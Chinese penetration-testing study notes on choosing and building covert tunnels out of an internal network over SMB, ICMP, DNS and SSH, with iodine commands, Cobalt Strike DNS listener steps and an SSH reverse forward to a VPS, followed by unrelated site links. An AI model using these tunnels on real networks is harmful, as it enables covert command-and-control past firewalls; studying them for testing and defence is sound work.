内网渗透-隧道判断-SSH-DNS-icmp-smb-上线linux-mac

1.通道判断

#SMB 隧道&通讯&上线

判断:445 通讯

上线:借助通讯后绑定上线

通讯:直接 SMB 协议通讯即可

#ICMP 隧道&通讯&上线

判断:ping 命令

上线:见前面课程

通讯:其他项目(icmpsh icmptunnel)

https://github.com/esrrhs/spp

https://github.com/bdamele/icmpsh

https://github.com/esrrhs/pingtunnel

#DNS 隧道&通讯&上线

判断:nslookup dig

1、上线环境:内网主机只出网 DNS 协议数据,解决上线

-域名申请及配置

-监听器创建及配置

-后门绑定监听器及生成

2.dns隧道上线

进行域名配置

配置cs

ttx.com 是注册域名

进入会话执行

mode dns-txt

内网主机只出网 DNS 协议数据,解决通讯

https://github.com/yarrick/iodine

判断出网:nslookup www.baidu.com

服务器:设置密码 hzy0 并创建虚拟 IP 及绑定域名指向

iodined -f -c -P hzy0 192.168.0.1 ns1.ttx.com -DD 设置密码 hzy0 并创建虚拟 IP 及绑定域名指向

客户端:连接密码 hzy0 并绑定域名指向

iodine -f -M 200 -P hzy0 ns1.ttx.com

尝试通讯尝试连接: ssh root@192.168.0.2

3.ssh隧道做内网探针

出站规则松懈:

在linux执行

将windows8080端口流量通过ssh隧道提交给vps

ssh -CfNg -R 1234:windwosip:8080 root@vps_ip

入站规则松懈:

4.linux上线cs
相关推荐
YCY^v^2 小时前
centos 7 开启80,443端口,怎么弄?
linux·运维·centos
北南京海2 小时前
[Linux]进程地址空间
linux·运维·服务器
yzx9910133 小时前
服务器生成图片
运维·服务器
db_murphy4 小时前
Oracle数据块8KB、OS默认认块管理4KB,是否需调整大小为一致?
linux
小阳睡不醒7 小时前
小白成长之路-部署Zabbix7(二)
android·运维
mCell7 小时前
从删库到跑路?这50个Linux命令能保你职业生涯
linux·windows·macos
杰克逊的日记7 小时前
GPU运维常见问题处理
linux·运维·gpu
caolib7 小时前
无需云服务器的内网穿透方案 -- cloudflare tunnel
运维·服务器·内网穿透·tunnel·cloudflared
奇舞精选7 小时前
k8s基本概念初探
运维
誰能久伴不乏8 小时前
Linux系统调用概述与实现:深入浅出的解析
linux·运维·服务器